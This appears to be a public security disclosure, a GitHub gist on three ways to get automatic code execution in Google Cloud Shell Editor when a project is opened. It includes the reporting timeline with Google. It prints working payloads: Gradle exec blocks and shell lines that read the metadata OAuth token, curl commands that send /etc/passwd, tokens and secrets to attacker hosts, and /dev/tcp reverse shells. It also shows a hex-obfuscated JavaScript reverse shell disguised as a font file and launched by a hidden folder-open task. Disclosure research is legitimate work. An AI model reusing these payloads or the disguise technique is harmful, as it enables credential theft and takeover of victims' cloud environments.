Skip to content

Instantly share code, notes, and snippets.

@win3zz
Created February 15, 2026 05:16
Show Gist options
  • Select an option

  • Save win3zz/56e507740a2c4a4d901e7d87583192ed to your computer and use it in GitHub Desktop.

Select an option

Save win3zz/56e507740a2c4a4d901e7d87583192ed to your computer and use it in GitHub Desktop.
Google Cloud Shell Takeover: 3 Auto Execution Bugs

Google Cloud Shell Takeover: 3 Auto Execution Bugs

A few weeks ago, I came across an interesting security vulnerability inside Google Cloud Shell. While analyzing how Cloud Shell Editor (Code OSS) loads projects, I observed that simply opening a specially crafted project within the editor triggers silent and automatic code execution. The user doesn't need to type any commands, or run any tasks manually. Simply open the project and the payload will be executed.

The root cause was that many components/processes executes inside the Cloud Shell Editor during workspace load. Tools like the Gradle language server, the Clang language server, and the VS Code tasks system evaluate config files or build scripts as soon as the folder is opened. This seems simple in a normal development workflow, but it breaks a very basic assumption/principle we all rely on: cloning a repo or opening a project in an editor will never execute a command without user action.

I understood this behavior, the attack scenario was clear in my mind. An attacker can prepare a malicious Git repository containing files like build.gradle, settings.json, or tasks.json with injected commands. Then they simply share a crafted Open in Cloud Shell link. When the victim clicks it, Cloud Shell automatically clones the repo and opens it in the Cloud Shell Editor. The moment the editor loads the workspace, the language server or task runner picks up the config files and executes the attacker controlled commands. This gives full remote code execution inside the victim's Cloud Shell environment.

In my testing, I produced this vulnerability through three different execution paths:

  1. Gradle language server sync
  2. VS Code tasks.json auto run on folder open
  3. Clang language server initialisation

Each of these eventually led to complete Cloud Shell takeover.

There may be many other ways to achieve the same results, and you can also try your own approach to discover a new path.

Attack Preconditions

The following preconditions apply to all three methods:

  1. The victim must click an attacker provided Open in Cloud Shell link that automatically clones a malicious Git repository into the victim's Cloud Shell workspace. Please note that the link uses the genuine https://shell.cloud.google.com/ URL, so this is not a phishing case.
  2. When Cloud Shell loads the project, it may display a prompt asking whether to trust the repository:
0

If the victim clicks "Trust Repo", Cloud Shell exposes the real persistent filesystem, which significantly increases the impact. However, the code execution will still happen even if the victim does not click "Trust Repo".

No further interaction is required from the victim.

In the next sections, I walk through all three methods in detail and share the exact reproduction steps and POC snippets that I reported to Google.


Method 1: Automatic Code Execution via Gradle Language Server Sync

When a Gradle project is opened inside Cloud Shell Editor, the Java/Gradle language server automatically starts a background sync process. During this sync, Gradle evaluates the build.gradle file and executes any embedded exec blocks even though the victim has not triggered any build or run command. A malicious build.gradle file can therefore execute arbitrary commands on the victim's machine immediately after the project loads.

Reproduction Steps / POC

Below is the exact content as reported to Google.

  1. Prepare a malicious Gradle build file

    The attacker creates a repository containing a build.gradle file with malicious exec block. Example for creating a file:

    gradle.taskGraph.whenReady {
       exec {
          executable "/usr/bin/touch"
          args "/tmp/win3zz" 
       }
    }
    

    This code will automatically execute during the Gradle sync and create the file win3zz in the /tmp directory.

    The attacker hosts this in a public repository such as: https://github.com/win3zz/cloudshell-exec-lab

  2. Craft the Open in Cloud Shell URL

    The attacker creates a specially crafted URL using Google's official pattern:

    https://shell.cloud.google.com/cloudshell/editor?cloudshell_git_repo=https%3A%2F%2Fgithub.com%2Fwin3zz%2Fcloudshell-exec-lab&open_in_editor=build.gradle
    

    OR

    Open in Cloud Shell

    Once the victim clicks the link or button, Cloud Shell automatically performs the following actions:

    • Clones the repository
    • Opens the workspace inside Cloud Shell Editor - Code OSS
    • Opens the build.gradle file automatically
  3. Initial Trigger Mechanism

    Immediately after the workspace loads, Cloud Shell's Java/Gradle language server starts in the background. The server:

    • Boots a dedicated JVM
    • Starts Gradle tooling API
    • Loads the project model
    • Evaluates build.gradle (even before the user clicks anywhere)

    This is the root behaviour that triggers unwanted code execution.


Detailed Breakdown - Proof of Concept

Scenario 1: Creating a file using touch

During the first background Gradle sync, the following block executes:

gradle.taskGraph.whenReady {
   exec {
      executable "/usr/bin/touch"
      args "/tmp/win3zz" 
   }
}

Observed outcome:

  • The file /tmp/win3zz is created.
  • No terminal command was executed by the victim.
  • The victim only opened the project.
1 Screenshot confirms successful creation of win3zz inside the /tmp directory.

Important Note: After clicking the malicious URL, the command may not execute immediately. Cloud Shell needs some time to complete its background sync and language server processes. Simply wait for a few moments, and the execution will occur automatically once the sync finishes.

Scenario 2: Extracting OAuth token from Google Cloud Metadata Service

The attacker can run any shell command, including HTTP requests to GCP metadata.

gradle.taskGraph.whenReady {
        exec {
            executable "/usr/bin/bash"
            args "-c", "/usr/bin/curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token > /tmp/token.json" 
        }
}

Outcome:

  • Cloud Shell retrieves the victim's OAuth 2.0 access token.
  • The token is written to /tmp/token.json.
  • This token grants access to Google Cloud APIs using the victim's permissions.
2 Screenshot shows the token.json file created and containing sensitive OAuth 2.0 data.

Scenario 3: Exfiltrating files to attacker server using curl

A second exec block sends multiple files to an attacker controlled endpoint.

gradle.taskGraph.whenReady {
        exec {
            executable "/usr/bin/curl"
            args "-X", "POST", "http://{interactsh}.oast.fun/", "-F", "file=@/etc/passwd", "-F", "file2=@/tmp/token.json", "-F", "file3=@/var/config/shared-secret/shared-secret" 
        }
}

Outcome:

  • Attacker receives sensitive files including:

    • /etc/passwd
    • OAuth token extracted earlier
    • shared-secret files
3 Screenshot captures the outbound request being logged on Interactsh (https://app.interactsh.com/). 4 Screenshot displays the contents of exfiltrated files received by the attacker.

Scenario 4: Establishing a reverse shell and taking over Cloud Shell

A reverse shell is triggered using a bash one liner:

gradle.taskGraph.whenReady {
        exec {
            executable "/usr/bin/bash"
            args "-c", "sh -i >& /dev/tcp/<ATTACKER_IP>/9001 0>&1" 
        }
}

If the attacker listens using netcat:

nc -lnvp 9001

Outcome:

  • Cloud Shell connects back to the attacker.
  • An interactive shell session opens.
  • Attacker can execute OS commands as the Cloud Shell user.
  • This is full remote takeover.
5 Screenshot shows the outgoing reverse shell connection being established. 6 Screenshot shows the attacker receiving the connection and interacting with the victim's Cloud Shell terminal.

Reference

Wouter ter Maat had previously observed similar behavior and described it in his blog.

Method 2: Automatic Code Execution via tasks.json Auto Run on Folder Open

Google Cloud Shell Editor (Code OSS) tasks system allows tasks to run automatically when a project folder is opened using the runOn value inside tasks.json. Cloud Shell Editor loads tasks.json immediately when a repository is opened. If the attacker sets runOn to folderOpen, the editor automatically executes the attacker controlled command without user interaction.

Reproduction Steps / POC

Below is the exact content as reported to Google.

  1. Create a directory with a .vscode subfolder.

  2. Add the following tasks.json file to enable automatic code execution:

    {
      "version": "2.0.0",
      "tasks": [
        {
          "label": "TEST",
          "type": "shell",
          "command": "touch /tmp/win3zz",
          "runOptions": { "runOn": "folderOpen" },
          "presentation": { "reveal": "never" }
        }
      ]
    }

    This configuration silently creates the file /tmp/win3zz when the folder is opened in Cloud Shell Editor.

  3. Commit this folder to a public repository (https://github.com/win3zz/cloudshell-exec-lab2) controlled by the attacker.

  4. Craft the Open in Cloud Shell URL using the official pattern:

    https://shell.cloud.google.com/cloudshell/editor?cloudshell_git_repo=https%3A%2F%2Fgithub.com%2Fwin3zz%2Fcloudshell-exec-lab2&cloudshell_workspace=%2F
    

    OR

    Open in Cloud Shell

  5. When the victim clicks the link or button, Cloud Shell automatically performs the following:

7

Real World Attack Scenario

In a realistic attack, an attacker can hide the malicious behaviour inside an otherwise harmless looking GitHub project (https://github.com/win3zz/Vortex). The attacker adds the following two files:

1. .vscode/tasks.json

{
  "version": "2.0.0",
  "tasks": [
    {
      "label": "Vortex",
      "type": "shell",
      "command": "/u??/*l/*m/v*/*/*/*n/???? assets/fonts/Roboto-Bold.ttf",
      "runOptions": { "runOn": "folderOpen" },
      "presentation": { "reveal": "never" }
    }
  ]
}

The path /u??/*l/*m/v*/*/*/*n/???? is a shell glob pattern representing the following binary in an obfuscated form: /usr/local/nvm/versions/node/v24.12.0/bin/node

Instead of the obfuscated path, the task can simply execute node. The attacker uses the glob form only to distract human reviewers and bypass static security scanners.

2. assets/fonts/Roboto-Bold.ttf

Although named as a TTF file, this file actually contains obfuscated JavaScript:

_=[
    '\x63\x68\x69\x6C\x64\x5F\x70\x72\x6F\x63\x65\x73\x73',
    '\x65\x78\x65\x63',
    '\x73\x68\x20\x2d\x69\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f'+"<ATTACKER_IP>/9001"+
    '\x20\x30\x3e\x26\x31'
];

require(_[0])[_[1]](_[2])

This decodes to: require('child_process').exec('sh -i >& /dev/tcp/<ATTACKER_IP>/9001 0>&1') which opens a reverse shell to the attacker.

The file extension and directory naming (fonts, Roboto-Bold.ttf) are intentional. They help disguise the payload inside what appears to be a harmless asset folder, especially when reviewers skim through the repository.

Attack Execution Flow

  1. The victim clicks the attacker provided "Open in Cloud Shell" link (or button in https://github.com/win3zz/Vortex).
  2. Cloud Shell clones the repository and opens it inside Code OSS.
  3. Code OSS automatically loads .vscode/tasks.json
  4. Since runOn is set to folderOpen, the editor immediately executes the task.
  5. The task launches the obfuscated Node command pointing to the disguised TTF file.
  6. The TTF file executes JavaScript which spawns a reverse shell to the attacker.
  7. Cloud Shell users have sudo access by default, giving the attacker full control of the environment.

Method 3: Automatic Code Execution via Clang Language Server Initialisation

When a C project is opened in Cloud Shell Editor, the vscode clangd extension automatically initialises the Clang Language Server. During initialisation, it reads the project specific settings from .vscode/settings.json. If the parameter "clangd.path" points to a shell script instead of the real binary, Cloud Shell executes that script immediately without any user action. (Reference: https://github.com/clangd/vscode-clangd/blob/master/docs/settings.md) This leads to silent remote code execution.

Reproduction Steps / POC

Below is the exact content as reported to Google.

  1. Create malicious VS Code settings

    .vscode/settings.json

    {
      "clangd.path": "${workspaceFolder}/RCE.sh"
    }

    This forces vscode-clangd to execute the script RCE.sh instead of the real clangd binary.

  2. Create the wrapper script

    RCE.sh

    #!/bin/sh
    
    # Run RCE payload
    /usr/bin/touch /tmp/win3zz
    
    # Run real clangd
    exec /usr/bin/clangd "$@"

    The script first executes the attacker controlled payload. It then launches the real clangd process so the victim does not notice any abnormal behaviour.

    The attacker can replace the simple touch payload with more harmful commands. For example, the attacker can establish a reverse shell and take full control of the Cloud Shell instance by using:

    sh -i >& /dev/tcp/<ATTACKER_IP>/9001 0>&1
    

    The attacker can also extract the OAuth token from the Google Cloud Metadata Service and exfiltrate it to an external server using curl with the following payload:

    curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" | curl -s -X POST -d @- https://server.com/receive
    

    This allows the attacker to silently retrieve sensitive Google Cloud access tokens and send them to a remote server under attacker control.

  3. Add a minimal C file to trigger clangd

    main.c

    int main() {}
    // No RCE here
    // This C file is only for initializing the Clang Language Server in VS Code

    Opening this file triggers the vscode-clangd extension (Clang Language Server) which immediately runs the configured clangd.path script.

  4. Trigger the vulnerability using Open in Cloud Shell

    An attacker hosts this repository (https://github.com/win3zz/cloudshell-exec-lab1) publicly and shares a specially crafted URL in the following format:

    https://shell.cloud.google.com/cloudshell/editor?cloudshell_git_repo=https%3A%2F%2Fgithub.com%2Fwin3zz%2Fcloudshell-exec-lab1&open_in_editor=main.c
    

    OR

    Open in Cloud Shell

    Once the victim clicks the link/button, Cloud Shell automatically:

    • clones the repository
    • opens it in Code OSS editor
    • loads main.c
    • triggers the clangd initialisation
    • executes RCE.sh silently
8 The payload creates the file /tmp/win3zz, confirming code execution.

Impact

The impact is identical across all three execution paths because each method results in arbitrary code execution within the victim's Cloud Shell environment.

An attacker can:

  • Execute arbitrary commands inside the victim's Cloud Shell instance.
  • Access victim files including keys, tokens, source code, configuration data, SSH keys, and service account credentials.
  • Extract OAuth access tokens from the metadata server and use them to access Google Cloud APIs.
  • Exfiltrate sensitive files to attacker controlled infrastructure.
  • Establish persistent remote shells and maintain long term control.
  • Deploy further payloads such as crypto miners.
  • Escalate access to other Google Cloud resources using the stolen credentials.

This results in full takeover of the victim's Cloud Shell environment and their associated cloud resources.

References

  1. Omar Espino's Cloud Shell instance takeover (XSS leading to automatic code execution on project load)
  2. Additional public case

Timeline

  • Jan 8, 2026: Reported the issue to Google Cloud VRP. On the same day, I received the automatically generated acknowledgment email.

  • Jan 9, 2026: The report priority was updated from P2 to P1.

  • Jan 21, 2026: The report was triaged.

  • Jan 26, 2026: Google closed the report as "Intended Behavior" with the following message:

    "Exploitation of this behavior requires that the victim run malicious code without review and that they disregard an explicit UI warning before doing so."

  • Jan 28, 2026: I responded with a clarification:

    I explained that the core issue is that code execution happens simply by opening a cloned or downloaded project in Cloud Shell Editor, even when the user does not choose to run or execute anything. This is fundamentally different from a user intentionally running untrusted code after ignoring a warning. In my testing, the execution was triggered before any user action. This breaks the expected security boundary where opening a folder from a Git repository should be a non executable and low risk operation. I also pointed out that the explicit UI warning in Cloud Shell Editor is meant for run actions, not for the automatic execution happening during the open process or code view/browsing. It should have something like Restricted Mode

  • Feb 10, 2026: Received the final response:

    "We have reassessed this report and our decision remains unchanged."

  • Feb 15, 2026: Public disclosure.

Disclaimer

This writeup is only for learning and research purposes. All vulnerabilities were responsibly disclosed to Google through the appropriate reporting channels before public release. Readers must not attempt to exploit similar issues on systems without explicit permission. Unauthorised access or misuse of these techniques is illegal.

@hetmehtaa
Copy link

Awesome!

@m01e-40x
Copy link

m01e-40x commented Mar 3, 2026

Sigh, Bug bounty hunting is always extremely frustrating, especially the process and results of arguing with the triagers or the vendors.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment